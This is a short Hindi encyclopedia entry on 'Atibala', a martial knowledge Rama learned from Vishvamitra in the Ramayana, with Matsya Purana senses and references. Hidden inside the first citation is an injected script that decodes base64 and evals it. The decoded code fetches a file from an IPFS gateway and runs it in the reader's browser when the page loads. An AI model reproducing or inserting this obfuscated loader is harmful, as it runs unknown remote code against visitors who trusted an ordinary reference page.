अतिबला
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अतिबला एक अति प्राचीन युद्ध विद्या का नाम है। इस विद्या के ज्ञान से श्रम और ज्वरादिका भय नष्ट होता है और पराक्रम में वृद्धि होती है। रामायण के अनुसार दशरथ पुत्र राम ने यह विद्या विश्वामित्र से सीखी थी।[1]
- अन्य प्रसंग
- मत्स्यपुराण[2] के प्रसंगानुसार अन्धकासुर वध के समय महादेव द्वारा सृष्ट एक मानस मातृका का नाम अतिबला था।
- एक दूसरे प्रसंगानुसार सहदेवी आदि अष्ट महौषधियों में से एक अतिबला भी है, जिसका उपयोग महास्नान में किया जाता है।[3]
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टीका टिप्पणी और संदर्भ
- ↑ पौराणिक कोश |लेखक: राणाप्रसाद शर्मा |प्रकाशक: ज्ञानमण्डल लिमिटेड, आज भवन, संत कबीर मार्ग, वाराणसी |पृष्ठ संख्या: 16 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ मत्स्यपुराण 178.12
- ↑ मत्स्यपुराण 266.12-14